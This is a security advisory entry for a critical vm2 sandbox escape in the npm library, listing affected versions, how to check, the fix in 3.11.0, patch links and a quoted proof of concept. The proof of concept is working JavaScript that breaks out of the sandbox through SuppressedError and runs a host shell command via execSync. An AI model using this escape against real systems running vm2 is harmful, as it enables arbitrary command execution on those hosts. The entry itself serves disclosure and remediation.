---
id: "CVE-2026-26332"
kind: "vulnerability"
aliases: ["CVE-2026-26332", "GHSA-55hx-c926-fr95"]
title: "VM2 Has a Sandbox Escape Issue via SuppressedError"
severity: "critical"
cvss: 10.0
epss: 0.0071
exploited: false
status: "open"
category: "package"
products: [{"name": "vm2", "fixed": ["3.11.0"], "affected": "< 3.11.0", "ecosystem": "npm"}, {"name": "vm2 project vm2", "fixed": ["3.11.0"], "affected": "< 3.11.0", "ecosystem": "vendor"}]
ecosystems: ["npm", "vendor"]
tags: ["cwe-653", "cwe-693", "cwe-94", "javascript", "node.js", "package", "vm2"]
not_affected_if: ["no-vm2-dependency", "trusted-code-only"]
published_at: "2026-05-04T17:16:22+00:00"
first_seen_at: "2026-11-04T03:31:21+00:00"
updated_at: "2026-11-04T03:46:40+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-55hx-c926-fr95", "first_seen_at": "2026-11-04T03:31:21+00:00"}, {"source": "nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26332", "first_seen_at": "2026-11-04T03:46:40+00:00"}]
---

# VM2 Has a Sandbox Escape Issue via SuppressedError

vm2 is a Node.js library for running untrusted JavaScript in a sandbox. A crafted use of SuppressedError inside the sandbox lets attacker code break out and run arbitrary commands on the host.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- npm:vm2 affected < 3.11.0 fixed 3.11.0
- vendor:vm2 project vm2 affected < 3.11.0 fixed 3.11.0

## How to check

- Find vm2 in dependencies: `npm ls vm2`
- Check the installed version is below `3.11.0`
- Look for code that passes untrusted input to `new VM().run(...)`

## Fix

- Upgrade vm2 to `3.11.0`

## Timeline

- 2026-11-04T03:31:21+00:00 ghsa https://github.com/advisories/GHSA-55hx-c926-fr95
- 2026-11-04T03:46:40+00:00 nvd https://nvd.nist.gov/vuln/detail/CVE-2026-26332

## Documents

- [advisory] Maintainer's advisory: api.github.com https://api.github.com/repos/patriksimek/vm2/security-advisories/GHSA-55hx-c926-fr95
- [advisory] Maintainer's advisory: github.com https://github.com/patriksimek/vm2/security/advisories/GHSA-55hx-c926-fr95
- [fix] Patch: github.com https://github.com/patriksimek/vm2/commit/119fd0aa1e4c27b08cf37946b2dafa99e2c754f0
- [fix] Patch: github.com https://github.com/patriksimek/vm2/commit/4cb82cc94d9bb6c9a918b45f8c6790c32a5e913f
- [fix] Patch: github.com https://github.com/patriksimek/vm2/commit/7395c3a4b01d302e55271c87dbeb44d6b83b81ca
- [fix] Patch: github.com https://github.com/patriksimek/vm2/commit/792e16d56ee429ab19e284ed9c545f5e4694fb7d
- [fix] Patch: github.com https://github.com/patriksimek/vm2/commit/d715dd88c5aec5bbb4dce03ddf7c3eb3791d0338
- [fix] Release: github.com https://github.com/patriksimek/vm2/releases/tag/v3.11.0

## From the sources

In vm2 v3.10.4 on Node.js v24.13.0, `SuppressedError` allows attackers to escape the sandbox and run arbitrary code.

### PoC
```js
const { VM } = require("vm2");

const vm = new VM();

vm.run(`
const ds = new DisposableStack();
ds.defer(() => { throw null; });
ds.defer(() => {
  const e = Error();
  e.name = Symbol();
  e.stack;
});
try {
  ds.dispose();
} catch(e) {
  const Function = e.suppressed.constructor.constructor;
  const process = new Function("return process;")();
  const { execSync } = process.mainModule.require("node:child_process");
  execSync("echo pwned", { stdio: "inherit" });
}
`);
```

---

_Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai_
